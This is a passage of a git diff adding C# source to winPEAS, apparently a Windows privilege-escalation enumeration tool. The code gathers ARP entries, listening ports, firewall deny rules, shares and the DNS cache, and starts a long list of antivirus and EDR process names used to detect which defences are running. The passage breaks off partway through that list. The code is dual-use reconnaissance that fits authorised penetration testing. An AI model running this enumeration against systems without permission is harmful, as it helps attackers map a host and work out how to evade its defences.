{0}", result); + } + + // now we have the buffer, we have to marshal it. We can read the first 4 bytes to get the length of the buffer + int entries = Marshal.ReadInt32(buffer); + + // increment the memory pointer by the size of the int + IntPtr currentBuffer = new IntPtr(buffer.ToInt64() + Marshal.SizeOf(typeof(int))); + + // allocate a list of entries + List arpEntries = new List(); + + // cycle through the entries + for (int index = 0; index < entries; index++) + { + arpEntries.Add((MIB_IPNETROW)Marshal.PtrToStructure(new IntPtr(currentBuffer.ToInt64() + (index * Marshal.SizeOf(typeof(MIB_IPNETROW)))), typeof(MIB_IPNETROW))); + } + + // sort the list by interface index + List sortedARPEntries = arpEntries.OrderBy(o => o.dwIndex).ToList(); + int currentIndexAdaper = -1; + + foreach (MIB_IPNETROW arpEntry in sortedARPEntries) + { + int indexAdapter = arpEntry.dwIndex; + if (!adapters.ContainsKey(indexAdapter)) + { + Console.WriteLine("Error: No interface found with Index " + arpEntry.dwIndex.ToString()); + continue; + } + currentIndexAdaper = indexAdapter; + + IPAddress ipAddr = new IPAddress(BitConverter.GetBytes(arpEntry.dwAddr)); + byte[] macBytes = new byte[] { arpEntry.mac0, arpEntry.mac1, arpEntry.mac2, arpEntry.mac3, arpEntry.mac4, arpEntry.mac5 }; + string physAddr = BitConverter.ToString(macBytes); + ArpEntryType entryType = (ArpEntryType)arpEntry.dwType; + adapters[arpEntry.dwIndex]["arp"] += String.Format("\t {0,-22}{1,-22}{2}\n", ipAddr, physAddr, entryType); + } + + FreeMibTable(buffer); + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex); + } + results = adapters.Values.ToList(); + return results; + } + + public static List> GetNetConnections() + { + List> results = new List>(); + try + { + var props = IPGlobalProperties.GetIPGlobalProperties(); + results.Add(new List() { "Proto", "Local Address", "Foreing Address", "State" }); + + //foreach (var conn in props.GetActiveTcpConnections()) + // results.Add(new List() { "TCP", conn.LocalEndPoint.ToString(), conn.RemoteEndPoint.ToString(), conn.State.ToString() }); + + foreach (var listener in props.GetActiveTcpListeners()) + results.Add(new List() { "TCP", listener.ToString(), "", "Listening" }); + + foreach (var listener in props.GetActiveUdpListeners()) + results.Add(new List() { "UDP", listener.ToString(), "", "Listening" }); + } + catch (Exception ex) + { + System.Console.WriteLine(ex); + } + + return results; + } + + // From Seatbelt + [Flags] + public enum FirewallProfiles : int + { + DOMAIN = 1, + PRIVATE = 2, + PUBLIC = 4, + ALL = 2147483647 + } + public static string GetFirewallProfiles() + { + string result = ""; + try + { + Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD")); + Object firewallObj = Activator.CreateInstance(firewall); + Object types = firewallObj.GetType().InvokeMember("CurrentProfileTypes", BindingFlags.GetProperty, null, firewallObj, null); + result = String.Format("{0}", (FirewallProfiles)Int32.Parse(types.ToString())); + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return result; + } + public static Dictionary GetFirewallBooleans() + { + Dictionary results = new Dictionary(); + try + { + Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD")); + Object firewallObj = Activator.CreateInstance(firewall); + Object enabledDomain = firewallObj.GetType().InvokeMember("FirewallEnabled", BindingFlags.GetProperty, null, firewallObj, new object[] { 1 }); + Object enabledPrivate = firewallObj.GetType().InvokeMember("FirewallEnabled", BindingFlags.GetProperty, null, firewallObj, new object[] { 2 }); + Object enabledPublic = firewallObj.GetType().InvokeMember("FirewallEnabled", BindingFlags.GetProperty, null, firewallObj, new object[] { 4 }); + results = new Dictionary() { + { "FirewallEnabled (Domain)", String.Format("{0}", enabledDomain) }, + { "FirewallEnabled (Private)", String.Format("{0}", enabledPrivate) }, + { "FirewallEnabled (Public)", String.Format("{0}", enabledPublic) }, + }; + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + public static List> GetFirewallRules() + { + List> results = new List>(); + try + { + //Filtrado por DENY como Seatbelt?? + // GUID for HNetCfg.FwPolicy2 COM object + Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD")); + Object firewallObj = Activator.CreateInstance(firewall); + + // now grab all the rules + Object rules = firewallObj.GetType().InvokeMember("Rules", BindingFlags.GetProperty, null, firewallObj, null); + + // manually get the enumerator() method + System.Collections.IEnumerator enumerator = (System.Collections.IEnumerator)rules.GetType().InvokeMember("GetEnumerator", BindingFlags.InvokeMethod, null, rules, null); + + // move to the first item + enumerator.MoveNext(); + Object currentItem = enumerator.Current; + + while (currentItem != null) + { + // only display enabled rules + Object Enabled = currentItem.GetType().InvokeMember("Enabled", BindingFlags.GetProperty, null, currentItem, null); + if (Enabled.ToString() == "True") + { + Object Action = currentItem.GetType().InvokeMember("Action", BindingFlags.GetProperty, null, currentItem, null); + if (Action.ToString() == "0") //Only DENY rules + { + // extract all of our fields + Object Name = currentItem.GetType().InvokeMember("Name", BindingFlags.GetProperty, null, currentItem, null); + Object Description = currentItem.GetType().InvokeMember("Description", BindingFlags.GetProperty, null, currentItem, null); + Object Protocol = currentItem.GetType().InvokeMember("Protocol", BindingFlags.GetProperty, null, currentItem, null); + Object ApplicationName = currentItem.GetType().InvokeMember("ApplicationName", BindingFlags.GetProperty, null, currentItem, null); + Object LocalAddresses = currentItem.GetType().InvokeMember("LocalAddresses", BindingFlags.GetProperty, null, currentItem, null); + Object LocalPorts = currentItem.GetType().InvokeMember("LocalPorts", BindingFlags.GetProperty, null, currentItem, null); + Object RemoteAddresses = currentItem.GetType().InvokeMember("RemoteAddresses", BindingFlags.GetProperty, null, currentItem, null); + Object RemotePorts = currentItem.GetType().InvokeMember("RemotePorts", BindingFlags.GetProperty, null, currentItem, null); + Object Direction = currentItem.GetType().InvokeMember("Direction", BindingFlags.GetProperty, null, currentItem, null); + Object Profiles = currentItem.GetType().InvokeMember("Profiles", BindingFlags.GetProperty, null, currentItem, null); + + string ruleAction = "ALLOW"; + if (Action.ToString() != "1") + ruleAction = "DENY"; + + string ruleDirection = "IN"; + if (Direction.ToString() != "1") + ruleDirection = "OUT"; + + string ruleProtocol = "TCP"; + if (Protocol.ToString() != "6") + ruleProtocol = "UDP"; + + Dictionary rule = new Dictionary { }; + rule["Name"] = String.Format("{0}", Name); + rule["Description"] = String.Format("{0}", Description); + rule["AppName"] = String.Format("{0}", ApplicationName); + rule["Protocol"] = String.Format("{0}", ruleProtocol); + rule["Action"] = String.Format("{0}", ruleAction); + rule["Direction"] = String.Format("{0}", ruleDirection); + rule["Profiles"] = String.Format("{0}", Int32.Parse(Profiles.ToString())); + rule["Local"] = String.Format("{0}:{1}", LocalAddresses, LocalPorts); + rule["Remote"] = String.Format("{0}:{1}", RemoteAddresses, RemotePorts); + results.Add(rule); + } + } + // manually move the enumerator + enumerator.MoveNext(); + currentItem = enumerator.Current; + } + Marshal.ReleaseComObject(firewallObj); + firewallObj = null; + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex); + } + return results; + } + + // https://stackoverflow.com/questions/3567063/get-a-list-of-all-unc-shared-folders-on-a-local-network-server + public static List GetNetworkShares(string pcname) + { + List results = new List(); + try + { + using (ManagementClass shares = new ManagementClass(@"\\" + pcname + @"\root\cimv2", "Win32_Share", new ObjectGetOptions())) + { + foreach (ManagementObject share in shares.GetInstances()) + results.Add(share["Name"].ToString()); + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + return results; + } + + //From Seatbelt + public static List> GetDNSCache() + { + List> results = new List>(); + try + { + + ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@"root\standardcimv2", "SELECT * FROM MSFT_DNSClientCache"); + ManagementObjectCollection data = wmiData.Get(); + + foreach (ManagementObject result in data) + { + Dictionary dnsEntry = new Dictionary(); + string entry = String.Format("{0}", result["Entry"]); + string name = String.Format("{0}", result["Name"]); + string dataDns = String.Format("{0}", result["Data"]); + dnsEntry["Entry"] = (entry.Length > 33) ? "..." + result["Entry"].ToString().Substring(entry.Length - 32) : entry; + dnsEntry["Name"] = (name.Length > 33) ? "..." + name.Substring(name.Length - 32) : name; + dnsEntry["Data"] = (dataDns.Length > 33) ? "..." + dataDns.Substring(dataDns.Length - 32) : dataDns; + results.Add(dnsEntry); + } + } + catch (ManagementException ex) when (ex.ErrorCode == ManagementStatus.InvalidNamespace) + { + Console.WriteLine(" [X] 'MSFT_DNSClientCache' WMI class unavailable (minimum supported versions of Windows: 8/2012)", ex.Message); + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/ProcessesInfo.cs b/winPEAS/winPEASexe/winPEAS/ProcessesInfo.cs new file mode 100755 index 0000000..f9bcd4c --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/ProcessesInfo.cs @@ -0,0 +1,799 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Management; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text.RegularExpressions; + +namespace winPEAS +{ + class ProcessesInfo + { + public static Hashtable defensiveProcesses = new Hashtable() + { + {"mcshield.exe" , "McAfee AV"}, + {"windefend.exe" , "Windows Defender AV"}, + {"MSASCui.exe" , "Windows Defender AV"}, + {"MSASCuiL.exe" , "Windows Defender AV"}, + {"msmpeng.exe" , "Windows Defender AV"}, + {"msmpsvc.exe" , "Windows Defender AV"}, + {"WRSA.exe" , "WebRoot AV"}, + {"savservice.exe" , "Sophos AV"}, + {"TMCCSF.exe" , "Trend Micro AV"}, + {"symantec antivirus.exe" , "Symantec AV"}, + {"mbae.exe" , "MalwareBytes Anti-Exploit"}, + {"parity.exe" , "Bit9 application whitelisting"}, + {"cb.exe" , "Carbon Black behavioral analysis"}, + {"bds-vision.exe" , "BDS Vision behavioral analysis"}, + {"Triumfant.exe" , "Triumfant behavioral analysis"}, + {"CSFalcon.exe" , "CrowdStrike Falcon EDR"}, + {"ossec.exe" , "OSSEC intrusion detection"}, + {"TmPfw.exe" , "Trend Micro firewall"}, + {"dgagent.exe" , "Verdasys Digital Guardian DLP"}, + {"kvoop.exe" , "Unknown DLP process" }, + {"AAWTray.exe" , "UNKNOWN"}, + {"ackwin32.exe" , "UNKNOWN"}, + {"Ad-Aware.exe" , "UNKNOWN"}, + {"adaware.exe" , "UNKNOWN"}, + {"advxdwin.exe" , "UNKNOWN"}, + {"agentsvr.exe" , "UNKNOWN"}, + {"agentw.exe" , "UNKNOWN"}, + {"alertsvc.exe" , "UNKNOWN"}, + {"alevir.exe" , "UNKNOWN"}, + {"alogserv.exe" , "UNKNOWN"}, + {"amon9x.exe" , "UNKNOWN"}, + {"anti-trojan.exe" , "UNKNOWN"}, + {"antivirus.exe" , "UNKNOWN"}, + {"ants.exe" , "UNKNOWN"}, + {"apimonitor.exe" , "UNKNOWN"}, + {"aplica32.exe" , "UNKNOWN"}, + {"apvxdwin.exe" , "UNKNOWN"}, + {"arr.exe" , "UNKNOWN"}, + {"atcon.exe" , "UNKNOWN"}, + {"atguard.exe" , "UNKNOWN"}, + {"atro55en.exe" , "UNKNOWN"}, + {"atupdater.exe" , "UNKNOWN"}, + {"atwatch.exe" , "UNKNOWN"}, + {"au.exe" , "UNKNOWN"}, + {"aupdate.exe" , "UNKNOWN"}, + {"auto-protect.nav80try.exe", "UNKNOWN"}, + {"autodown.exe" , "UNKNOWN"}, + {"autoruns.exe" , "UNKNOWN"}, + {"autorunsc.exe" , "UNKNOWN"}, + {"autotrace.exe" , "UNKNOWN"}, + {"autoupdate.exe" , "UNKNOWN"}, + {"avconsol.exe" , "UNKNOWN"}, + {"ave32.exe" , "UNKNOWN"}, + {"avgcc32.exe" , "UNKNOWN"}, + {"avgctrl.exe" , "UNKNOWN"}, + {"avgemc.exe" , "UNKNOWN"}, + {"avgnt.exe" , "UNKNOWN"}, + {"avgrsx.exe" , "UNKNOWN"}, + {"avgserv.exe" , "UNKNOWN"}, + {"avgserv9.exe" , "UNKNOWN"}, + {"avguard.exe" , "UNKNOWN"}, + {"avgwdsvc.exe" , "UNKNOWN"}, + {"avgui.exe" , "UNKNOWN"}, + {"avgw.exe" , "UNKNOWN"}, + {"avkpop.exe" , "UNKNOWN"}, + {"avkserv.exe" , "UNKNOWN"}, + {"avkservice.exe" , "UNKNOWN"}, + {"avkwctl9.exe" , "UNKNOWN"}, + {"avltmain.exe" , "UNKNOWN"}, + {"avnt.exe" , "UNKNOWN"}, + {"avp.exe" , "UNKNOWN"}, + {"avp32.exe" , "UNKNOWN"}, + {"avpcc.exe" , "UNKNOWN"}, + {"avpdos32.exe" , "UNKNOWN"}, + {"avpm.exe" , "UNKNOWN"}, + {"avptc32.exe" , "UNKNOWN"}, + {"avpupd.exe" , "UNKNOWN"}, + {"avsched32.exe" , "UNKNOWN"}, + {"avsynmgr.exe" , "UNKNOWN"}, + {"avwin.exe" , "UNKNOWN"}, + {"avwin95.exe" , "UNKNOWN"}, + {"avwinnt.exe" , "UNKNOWN"}, + {"avwupd.exe" , "UNKNOWN"}, + {"avwupd32.exe" , "UNKNOWN"}, + {"avwupsrv.exe" , "UNKNOWN"}, + {"avxmonitor9x.exe" , "UNKNOWN"}, + {"avxmonitornt.exe" , "UNKNOWN"}, + {"avxquar.exe" , "UNKNOWN"}, + {"backweb.exe" , "UNKNOWN"}, + {"bargains.exe" , "UNKNOWN"}, + {"bd_professional.exe" , "UNKNOWN"}, + {"beagle.exe" , "UNKNOWN"}, + {"belt.exe" , "UNKNOWN"}, + {"bidef.exe" , "UNKNOWN"}, + {"bidserver.exe" , "UNKNOWN"}, + {"bipcp.exe" , "UNKNOWN"}, + {"bipcpevalsetup.exe" , "UNKNOWN"}, + {"bisp.exe" , "UNKNOWN"}, + {"blackd.exe" , "UNKNOWN"}, + {"blackice.exe" , "UNKNOWN"}, + {"blink.exe" , "UNKNOWN"}, + {"blss.exe" , "UNKNOWN"}, + {"bootconf.exe" , "UNKNOWN"}, + {"bootwarn.exe" , "UNKNOWN"}, + {"borg2.exe" , "UNKNOWN"}, + {"bpc.exe" , "UNKNOWN"}, + {"brasil.exe" , "UNKNOWN"}, + {"bs120.exe" , "UNKNOWN"}, + {"bundle.exe" , "UNKNOWN"}, + {"bvt.exe" , "UNKNOWN"}, + {"ccapp.exe" , "UNKNOWN"}, + {"ccevtmgr.exe" , "UNKNOWN"}, + {"ccpxysvc.exe" , "UNKNOWN"}, + {"ccSvcHst.exe" , "UNKNOWN"}, + {"cdp.exe" , "UNKNOWN"}, + {"cfd.exe" , "UNKNOWN"}, + {"cfgwiz.exe" , "UNKNOWN"}, + {"cfiadmin.exe" , "UNKNOWN"}, + {"cfiaudit.exe" , "UNKNOWN"}, + {"cfinet.exe" , "UNKNOWN"}, + {"cfinet32.exe" , "UNKNOWN"}, + {"claw95.exe" , "UNKNOWN"}, + {"claw95cf.exe" , "UNKNOWN"}, + {"clean.exe" , "UNKNOWN"}, + {"cleaner.exe" , "UNKNOWN"}, + {"cleaner3.exe" , "UNKNOWN"}, + {"cleanpc.exe" , "UNKNOWN"}, + {"cleanup.exe" , "UNKNOWN"}, + {"click.exe" , "UNKNOWN"}, + {"cmdagent.exe" , "UNKNOWN"}, + {"cmesys.exe" , "UNKNOWN"}, + {"cmgrdian.exe" , "UNKNOWN"}, + {"cmon016.exe" , "UNKNOWN"}, + {"connectionmonitor.exe" , "UNKNOWN"}, + {"cpd.exe" , "UNKNOWN"}, + {"cpf9x206.exe" , "UNKNOWN"}, + {"cpfnt206.exe" , "UNKNOWN"}, + {"ctrl.exe" , "UNKNOWN"}, + {"cv.exe" , "UNKNOWN"}, + {"cwnb181.exe" , "UNKNOWN"}, + {"cwntdwmo.exe" , "UNKNOWN"}, + {"CylanceUI.exe" , "UNKNOWN"}, + {"CyProtect.exe" , "UNKNOWN"}, + {"CyUpdate.exe" , "UNKNOWN"}, + {"cyserver.exe" , "UNKNOWN"}, + {"cytray.exe" , "UNKNOWN"}, + {"CyveraService.exe" , "UNKNOWN"}, + {"datemanager.exe" , "UNKNOWN"}, + {"dcomx.exe" , "UNKNOWN"}, + {"defalert.exe" , "UNKNOWN"}, + {"defscangui.exe" , "UNKNOWN"}, + {"defwatch.exe" , "UNKNOWN"}, + {"deputy.exe" , "UNKNOWN"}, + {"divx.exe" , "UNKNOWN"}, + {"dgprompt.exe" , "UNKNOWN"}, + {"DgService.exe" , "UNKNOWN"}, + {"dllcache.exe" , "UNKNOWN"}, + {"dllreg.exe" , "UNKNOWN"}, + {"doors.exe" , "UNKNOWN"}, + {"dpf.exe" , "UNKNOWN"}, + {"dpfsetup.exe" , "UNKNOWN"}, + {"dpps2.exe" , "UNKNOWN"}, + {"drwatson.exe" , "UNKNOWN"}, + {"drweb32.exe" , "UNKNOWN"}, + {"drwebupw.exe" , "UNKNOWN"}, + {"dssagent.exe" , "UNKNOWN"}, + {"dumpcap.exe" , "UNKNOWN"}, + {"dvp95.exe" , "UNKNOWN"}, + {"dvp95_0.exe" , "UNKNOWN"}, + {"ecengine.exe" , "UNKNOWN"}, + {"efpeadm.exe" , "UNKNOWN"}, + {"egui.exe" , "UNKNOWN"}, + {"ekrn.exe" , "UNKNOWN"}, + {"emet_agent.exe" , "UNKNOWN"}, + {"emet_service.exe" , "UNKNOWN"}, + {"emsw.exe" , "UNKNOWN"}, + {"engineserver.exe" , "UNKNOWN"}, + {"ent.exe" , "UNKNOWN"}, + {"esafe.exe" , "UNKNOWN"}, + {"escanhnt.exe" , "UNKNOWN"}, + {"escanv95.exe" , "UNKNOWN"}, + {"espwatch.exe" , "UNKNOWN"}, + {"ethereal.exe" , "UNKNOWN"}, + {"etrustcipe.exe" , "UNKNOWN"}, + {"evpn.exe" , "UNKNOWN"}, + {"exantivirus-cnet.exe" , "UNKNOWN"}, + {"exe.avxw.exe" , "UNKNOWN"}, + {"expert.exe" , "UNKNOWN"}, + {"explore.exe" , "UNKNOWN"}, + {"f-agnt95.exe" , "UNKNOWN"}, + {"f-prot.exe" , "UNKNOWN"}, + {"f-prot95.exe" , "UNKNOWN"}, + {"f-stopw.exe" , "UNKNOWN"}, + {"fameh32.exe" , "UNKNOWN"}, + {"fast.exe" , "UNKNOWN"}, + {"fch32.exe" , "UNKNOWN"}, + {"fcagswd.exe" , "McAfee DLP Agent"}, + {"fcags.exe" , "McAfee DLP Agent"}, + {"fih32.exe" , "UNKNOWN"}, + {"findviru.exe" , "UNKNOWN"}, + {"firesvc.exe" , "McAfee Host Intrusion Prevention"}, + {"firetray.exe" , "UNKNOWN"}, + {"firewall.exe" , "UNKNOWN"}, + {"fnrb32.exe" , "UNKNOWN"}, + {"fp-win.exe" , "UNKNOWN"}, + {"fp-win_trial.exe" , "UNKNOWN"}, + {"fprot.exe" , "UNKNOWN"}, + {"frameworkservice.exe" , "UNKNOWN"}, + {"frminst.exe" , "UNKNOWN"}, + {"frw.exe" , "UNKNOWN"}, + {"fsaa.exe" , "UNKNOWN"}, + {"fsav.exe" , "UNKNOWN"}, + {"fsav32.exe" , "UNKNOWN"}, + {"fsav530stbyb.exe" , "UNKNOWN"}, + {"fsav530wtbyb.exe" , "UNKNOWN"}, + {"fsav95.exe" , "UNKNOWN"}, + {"fsgk32.exe" , "UNKNOWN"}, + {"fsm32.exe" , "UNKNOWN"}, + {"fsma32.exe" , "UNKNOWN"}, + {"fsmb32.exe" , "UNKNOWN"}, + {"gator.exe" , "UNKNOWN"}, + {"gbmenu.exe" , "UNKNOWN"}, + {"gbpoll.exe" , "UNKNOWN"}, + {"generics.exe" , "UNKNOWN"}, + {"gmt.exe" , "UNKNOWN"}, + {"guard.exe" , "UNKNOWN"}, + {"guarddog.exe" , "UNKNOWN"}, + {"hacktracersetup.exe" , "UNKNOWN"}, + {"hbinst.exe" , "UNKNOWN"}, + {"hbsrv.exe" , "UNKNOWN"}, + {"HijackThis.exe" , "UNKNOWN"}, + {"hipsvc.exe" , "UNKNOWN"}, + {"HipMgmt.exe" , "McAfee Host Intrusion Protection"}, + {"hotactio.exe" , "UNKNOWN"}, + {"hotpatch.exe" , "UNKNOWN"}, + {"htlog.exe" , "UNKNOWN"}, + {"htpatch.exe" , "UNKNOWN"}, + {"hwpe.exe" , "UNKNOWN"}, + {"hxdl.exe" , "UNKNOWN"}, + {"hxiul.exe" , "UNKNOWN"}, + {"iamapp.exe" , "UNKNOWN"}, + {"iamserv.exe" , "UNKNOWN"}, + {"iamstats.exe" , "UNKNOWN"}, + {"ibmasn.exe" , "UNKNOWN"}, + {"ibmavsp.exe" , "UNKNOWN"}, + {"icload95.exe" , "UNKNOWN"}, + {"icloadnt.exe" , "UNKNOWN"}, + {"icmon.exe" , "UNKNOWN"}, + {"icsupp95.exe" , "UNKNOWN"}, + {"icsuppnt.exe" , "UNKNOWN"}, + {"idle.exe" , "UNKNOWN"}, + {"iedll.exe" , "UNKNOWN"}, + {"iedriver.exe" , "UNKNOWN"}, + {"iface.exe" , "UNKNOWN"}, + {"ifw2000.exe" , "UNKNOWN"}, + {"inetlnfo.exe" , "UNKNOWN"}, + {"infus.exe" , "UNKNOWN"}, + {"infwin.exe" , "UNKNOWN"}, + {"init.exe" , "UNKNOWN"}, + {"intdel.exe" , "UNKNOWN"}, + {"intren.exe" , "UNKNOWN"}, + {"iomon98.exe" , "UNKNOWN"}, + {"istsvc.exe" , "UNKNOWN"}, + {"jammer.exe" , "UNKNOWN"}, + {"jdbgmrg.exe" , "UNKNOWN"}, + {"jedi.exe" , "UNKNOWN"}, + {"kavlite40eng.exe" , "UNKNOWN"}, + {"kavpers40eng.exe" , "UNKNOWN"}, + {"kavpf.exe" , "UNKNOWN"}, + {"kazza.exe" , "UNKNOWN"}, + {"keenvalue.exe" , "UNKNOWN"}, + {"kerio-pf-213-en-win.exe" , "UNKNOWN"}, + {"kerio-wrl-421-en-win.exe" , "UNKNOWN"}, + {"kerio-wrp-421-en-win.exe" , "UNKNOWN"}, + {"kernel32.exe" , "UNKNOWN"}, + {"KeyPass.exe" , "UNKNOWN"}, + {"killprocesssetup161.exe" , "UNKNOWN"}, + {"launcher.exe" , "UNKNOWN"}, + {"ldnetmon.exe" , "UNKNOWN"}, + {"ldpro.exe" , "UNKNOWN"}, + {"ldpromenu.exe" , "UNKNOWN"}, + {"ldscan.exe" , "UNKNOWN"}, + {"lnetinfo.exe" , "UNKNOWN"}, + {"loader.exe" , "UNKNOWN"}, + {"localnet.exe" , "UNKNOWN"}, + {"lockdown.exe" , "UNKNOWN"}, + {"lockdown2000.exe" , "UNKNOWN"}, + {"lookout.exe" , "UNKNOWN"}, + {"lordpe.exe" , "UNKNOWN"}, + {"lsetup.exe" , "UNKNOWN"}, + {"luall.exe" , "UNKNOWN"}, + {"luau.exe" , "UNKNOWN"}, + {"lucomserver.exe" , "UNKNOWN"}, + {"luinit.exe" , "UNKNOWN"}, + {"luspt.exe" , "UNKNOWN"}, + {"mapisvc32.exe" , "UNKNOWN"}, + {"masvc.exe" , "McAfee Agent"}, + {"mbamservice.exe" , "UNKNOWN"}, + {"mcafeefire.exe" , "UNKNOWN"}, + {"mcagent.exe" , "UNKNOWN"}, + {"mcmnhdlr.exe" , "UNKNOWN"}, + {"mcscript.exe" , "UNKNOWN"}, + {"mcscript_inuse.exe" , "UNKNOWN"}, + {"mctool.exe" , "UNKNOWN"}, + {"mctray.exe" , "UNKNOWN"}, + {"mcupdate.exe" , "UNKNOWN"}, + {"mcvsrte.exe" , "UNKNOWN"}, + {"mcvsshld.exe" , "UNKNOWN"}, + {"md.exe" , "UNKNOWN"}, + {"mfeann.exe" , "McAfee VirusScan Enterprise"}, + {"mfemactl.exe" , "McAfee VirusScan Enterprise"}, + {"mfevtps.exe" , "UNKNOWN"}, + {"mfin32.exe" , "UNKNOWN"}, + {"mfw2en.exe" , "UNKNOWN"}, + {"mfweng3.02d30.exe" , "UNKNOWN"}, + {"mgavrtcl.exe" , "UNKNOWN"}, + {"mgavrte.exe" , "UNKNOWN"}, + {"mghtml.exe" , "UNKNOWN"}, + {"mgui.exe" , "UNKNOWN"}, + {"minilog.exe" , "UNKNOWN"}, + {"minionhost.exe" , "UNKNOWN"}, + {"mmod.exe" , "UNKNOWN"}, + {"monitor.exe" , "UNKNOWN"}, + {"moolive.exe" , "UNKNOWN"}, + {"mostat.exe" , "UNKNOWN"}, + {"mpfagent.exe" , "UNKNOWN"}, + {"mpfservice.exe" , "UNKNOWN"}, + {"mpftray.exe" , "UNKNOWN"}, + {"mrflux.exe" , "UNKNOWN"}, + {"msapp.exe" , "UNKNOWN"}, + {"msbb.exe" , "UNKNOWN"}, + {"msblast.exe" , "UNKNOWN"}, + {"mscache.exe" , "UNKNOWN"}, + {"msccn32.exe" , "UNKNOWN"}, + {"mscman.exe" , "UNKNOWN"}, + {"msconfig.exe" , "UNKNOWN"}, + {"msdm.exe" , "UNKNOWN"}, + {"msdos.exe" , "UNKNOWN"}, + {"msiexec16.exe" , "UNKNOWN"}, + {"msinfo32.exe" , "UNKNOWN"}, + {"mslaugh.exe" , "UNKNOWN"}, + {"msmgt.exe" , "UNKNOWN"}, + {"msmsgri32.exe" , "UNKNOWN"}, + {"MsSense.exe" , "Microsoft Defender ATP"}, + {"mssmmc32.exe" , "UNKNOWN"}, + {"mssys.exe" , "UNKNOWN"}, + {"msvxd.exe" , "UNKNOWN"}, + {"mu0311ad.exe" , "UNKNOWN"}, + {"mwatch.exe" , "UNKNOWN"}, + {"n32scanw.exe" , "UNKNOWN"}, + {"naprdmgr.exe" , "UNKNOWN"}, + {"nav.exe" , "UNKNOWN"}, + {"navap.navapsvc.exe" , "UNKNOWN"}, + {"navapsvc.exe" , "UNKNOWN"}, + {"navapw32.exe" , "UNKNOWN"}, + {"navdx.exe" , "UNKNOWN"}, + {"navlu32.exe" , "UNKNOWN"}, + {"navnt.exe" , "UNKNOWN"}, + {"navstub.exe" , "UNKNOWN"}, + {"navw32.exe" , "UNKNOWN"}, + {"navwnt.exe" , "UNKNOWN"}, + {"nc2000.exe" , "UNKNOWN"}, + {"ncinst4.exe" , "UNKNOWN"}, + {"ndd32.exe" , "UNKNOWN"}, + {"neomonitor.exe" , "UNKNOWN"}, + {"neowatchlog.exe" , "UNKNOWN"}, + {"netarmor.exe" , "UNKNOWN"}, + {"netd32.exe" , "UNKNOWN"}, + {"netinfo.exe" , "UNKNOWN"}, + {"netmon.exe" , "UNKNOWN"}, + {"netscanpro.exe" , "UNKNOWN"}, + {"netspyhunter-1.2.exe" , "UNKNOWN"}, + {"netstat.exe" , "UNKNOWN"}, + {"netutils.exe" , "UNKNOWN"}, + {"nisserv.exe" , "UNKNOWN"}, + {"nisum.exe" , "UNKNOWN"}, + {"nmain.exe" , "UNKNOWN"}, + {"nod32.exe" , "UNKNOWN"}, + {"normist.exe" , "UNKNOWN"}, + {"norton_internet_secu_3.0_407.exe" , "UNKNOWN"}, + {"notstart.exe" , "UNKNOWN"}, + {"npf40_tw_98_nt_me_2k.exe" , "UNKNOWN"}, + {"npfmessenger.exe" , "UNKNOWN"}, + {"nprotect.exe" , "UNKNOWN"}, + {"npscheck.exe" , "UNKNOWN"}, + {"npssvc.exe" , "UNKNOWN"}, + {"nsched32.exe" , "UNKNOWN"}, + {"nssys32.exe" , "UNKNOWN"}, + {"nstask32.exe" , "UNKNOWN"}, + {"nsupdate.exe" , "UNKNOWN"}, + {"nt.exe" , "UNKNOWN"}, + {"ntrtscan.exe" , "UNKNOWN"}, + {"ntvdm.exe" , "UNKNOWN"}, + {"ntxconfig.exe" , "UNKNOWN"}, + {"nui.exe" , "UNKNOWN"}, + {"nupgrade.exe" , "UNKNOWN"}, + {"nvarch16.exe" , "UNKNOWN"}, + {"nvc95.exe" , "UNKNOWN"}, + {"nvsvc32.exe" , "UNKNOWN"}, + {"nwinst4.exe" , "UNKNOWN"}, + {"nwservice.exe" , "UNKNOWN"}, + {"nwtool16.exe" , "UNKNOWN"}, + {"nxlog.exe" , "UNKNOWN"}, + {"ollydbg.exe" , "UNKNOWN"}, + {"onsrvr.exe" , "UNKNOWN"}, + {"optimize.exe" , "UNKNOWN"}, + {"ostronet.exe" , "UNKNOWN"}, + {"osqueryd.exe" , "UNKNOWN"}, + {"otfix.exe" , "UNKNOWN"}, + {"outpost.exe" , "UNKNOWN"}, + {"outpostinstall.exe" , "UNKNOWN"}, + {"outpostproinstall.exe" , "UNKNOWN"}, + {"padmin.exe" , "UNKNOWN"}, + {"panixk.exe" , "UNKNOWN"}, + {"patch.exe" , "UNKNOWN"}, + {"pavcl.exe" , "UNKNOWN"}, + {"pavproxy.exe" , "UNKNOWN"}, + {"pavsched.exe" , "UNKNOWN"}, + {"pavw.exe" , "UNKNOWN"}, + {"pccwin98.exe" , "UNKNOWN"}, + {"pcfwallicon.exe" , "UNKNOWN"}, + {"pcip10117_0.exe" , "UNKNOWN"}, + {"pcscan.exe" , "UNKNOWN"}, + {"pdsetup.exe" , "UNKNOWN"}, + {"periscope.exe" , "UNKNOWN"}, + {"persfw.exe" , "UNKNOWN"}, + {"perswf.exe" , "UNKNOWN"}, + {"pf2.exe" , "UNKNOWN"}, + {"pfwadmin.exe" , "UNKNOWN"}, + {"pgmonitr.exe" , "UNKNOWN"}, + {"pingscan.exe" , "UNKNOWN"}, + {"platin.exe" , "UNKNOWN"}, + {"pop3trap.exe" , "UNKNOWN"}, + {"poproxy.exe" , "UNKNOWN"}, + {"popscan.exe" , "UNKNOWN"}, + {"portdetective.exe" , "UNKNOWN"}, + {"portmonitor.exe" , "UNKNOWN"}, + {"powerscan.exe" , "UNKNOWN"}, + {"ppinupdt.exe" , "UNKNOWN"}, + {"pptbc.exe" , "UNKNOWN"}, + {"ppvstop.exe" , "UNKNOWN"}, + {"prizesurfer.exe" 